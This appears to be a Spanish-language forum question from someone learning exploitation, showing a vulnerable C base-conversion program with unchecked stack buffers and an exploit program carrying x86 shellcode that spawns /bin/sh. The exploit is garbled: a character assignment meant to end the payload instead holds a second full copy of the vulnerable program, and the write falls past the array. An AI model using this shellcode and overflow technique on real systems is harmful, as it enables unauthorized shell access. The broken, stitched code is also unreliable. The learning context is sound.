El siguiente programa toma tres parámetros: Base para convertir desde , base para convertir a y el número para convertir en binario
Como parte de la seguridad de aprendizaje, estoy tratando de saturar el búfer de este programa. Me las arreglé para obtener una falla de segmentación, sin embargo no veo una manera de poder explotar después de ella.
Tras investigar la pila, he encontrado la dirección de retorno: 0xbfffffc0
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void mystrcat(char *dst, const char *src) {
while (*dst) dst++;
while ((*(dst++) = *(src++)));
}
void mystrncpy(char *dst, const char *src, size_t n) {
if (!n) return;
while (n-- > 1) {
if (!(*(dst++) = *(src++))) return;
}
*dst = 0;
}
int strequal(const char *s1, const char *s2, size_t n) {
char c;
while (n-- > 0) {
c = *(s1++);
if (c != *(s2++)) return 0;
if (!c) return 1;
}
return 1;
}
unsigned long from_radix(char *s, int radix) {
char c;
unsigned char cval;
unsigned long result = 0, oldresult;
for (; ; ) {
c = *(s++);
if (!c) {
return result;
} else if (c >= '0' && c <= '9') {
cval = c - '0';
} else if (c >= 'A' && c <= 'Z') {
cval = c - 'A' + 10;
} else if (c >= 'a' && c <= 'z') {
cval = c - 'a' + 10;
} else {
fprintf(stderr, "invalid character in input\n");
exit(1);
}
if (cval >= radix) {
fprintf(stderr, "invalid digit in input\n");
exit(1);
}
oldresult = result;
result = result * radix + cval;
if (result < oldresult) {
fprintf(stderr, "overflow detected, argument too large\n");
exit(1);
}
}
}
void reverse(char *buffer, size_t len) {
char *p1 = buffer, *p2 = buffer + len - 1, tmp;
while (p1 < p2) {
tmp = *p1;
*(p1++) = *p2;
*(p2--) = tmp;
}
}
char *to_radix(unsigned long n, int radix) {
char buffer[1024], *result = buffer;
int index = 0;
do {
result[index++] = "0123456789abcdefghijklmnopqrstuvwxyz"[n % radix];
n /= radix;
} while (n > 0);
result[index] = 0;
reverse(result, index);
return result;
}
char *find_separator(char **envp) {
char buffer[256], *result;
if (!*envp) {
return NULL;
}
if (!strequal("SEPARATOR=", *envp, 10)) {
return find_separator(envp + 1);
}
mystrncpy(buffer, *envp + 10, sizeof(buffer));
result = buffer;
return result;
}
int main(int argc, char **argv, char **envp) {
char buffer[384];
char *invalue, *outvalue, *separator;
int newradix, oldradix;
unsigned long value;
if (argc != 4) {
fprintf(stderr, "wrong number of params\n");
return 1;
}
oldradix = atoi(argv[1]);
newradix = atoi(argv[2]);
if (newradix < 2 || newradix > 36 || oldradix < 2 || oldradix > 36) {
fprintf(stderr, "radix out of bounds\n");
return 1;
}
invalue = argv[3];
while (*invalue == '0') invalue++;
value = from_radix(invalue, oldradix);
outvalue = to_radix(value, newradix);
separator = find_separator(envp);
if (!separator) separator = " -> ";
buffer[0] = 0;
mystrcat(buffer, invalue);
mystrcat(buffer, separator);
mystrcat(buffer, outvalue);
printf("%s\n", buffer);
return 0;
}
Explotación:
int main(int argc, char *argv[]) {
char dir[] = "path/to/file";
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80/bin/sh";
char *arg1 = "16";
char *arg2 = "2";
char arg4[400];
unsigned int addr = 0xc0000000 - 4 - strlen(dir) - 1 - strlen(shellcode) - 1;
fprintf(stderr, "Using address: %#010x\n", addr);
unsigned int i;
for (i=0; i<400; i++) {
arg4[i] = '1';
}
arg4[400] = '#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void mystrcat(char *dst, const char *src) {
while (*dst) dst++;
while ((*(dst++) = *(src++)));
}
void mystrncpy(char *dst, const char *src, size_t n) {
if (!n) return;
while (n-- > 1) {
if (!(*(dst++) = *(src++))) return;
}
*dst = 0;
}
int strequal(const char *s1, const char *s2, size_t n) {
char c;
while (n-- > 0) {
c = *(s1++);
if (c != *(s2++)) return 0;
if (!c) return 1;
}
return 1;
}
unsigned long from_radix(char *s, int radix) {
char c;
unsigned char cval;
unsigned long result = 0, oldresult;
for (; ; ) {
c = *(s++);
if (!c) {
return result;
} else if (c >= '0' && c <= '9') {
cval = c - '0';
} else if (c >= 'A' && c <= 'Z') {
cval = c - 'A' + 10;
} else if (c >= 'a' && c <= 'z') {
cval = c - 'a' + 10;
} else {
fprintf(stderr, "invalid character in input\n");
exit(1);
}
if (cval >= radix) {
fprintf(stderr, "invalid digit in input\n");
exit(1);
}
oldresult = result;
result = result * radix + cval;
if (result < oldresult) {
fprintf(stderr, "overflow detected, argument too large\n");
exit(1);
}
}
}
void reverse(char *buffer, size_t len) {
char *p1 = buffer, *p2 = buffer + len - 1, tmp;
while (p1 < p2) {
tmp = *p1;
*(p1++) = *p2;
*(p2--) = tmp;
}
}
char *to_radix(unsigned long n, int radix) {
char buffer[1024], *result = buffer;
int index = 0;
do {
result[index++] = "0123456789abcdefghijklmnopqrstuvwxyz"[n % radix];
n /= radix;
} while (n > 0);
result[index] = 0;
reverse(result, index);
return result;
}
char *find_separator(char **envp) {
char buffer[256], *result;
if (!*envp) {
return NULL;
}
if (!strequal("SEPARATOR=", *envp, 10)) {
return find_separator(envp + 1);
}
mystrncpy(buffer, *envp + 10, sizeof(buffer));
result = buffer;
return result;
}
int main(int argc, char **argv, char **envp) {
char buffer[384];
char *invalue, *outvalue, *separator;
int newradix, oldradix;
unsigned long value;
if (argc != 4) {
fprintf(stderr, "wrong number of params\n");
return 1;
}
oldradix = atoi(argv[1]);
newradix = atoi(argv[2]);
if (newradix < 2 || newradix > 36 || oldradix < 2 || oldradix > 36) {
fprintf(stderr, "radix out of bounds\n");
return 1;
}
invalue = argv[3];
while (*invalue == '0') invalue++;
value = from_radix(invalue, oldradix);
outvalue = to_radix(value, newradix);
separator = find_separator(envp);
if (!separator) separator = " -> ";
buffer[0] = 0;
mystrcat(buffer, invalue);
mystrcat(buffer, separator);
mystrcat(buffer, outvalue);
printf("%s\n", buffer);
return 0;
}
';
char *program[] = {dir, arg1, arg2, arg4, NULL};
execve(dir, program, NULL);
return 0;
}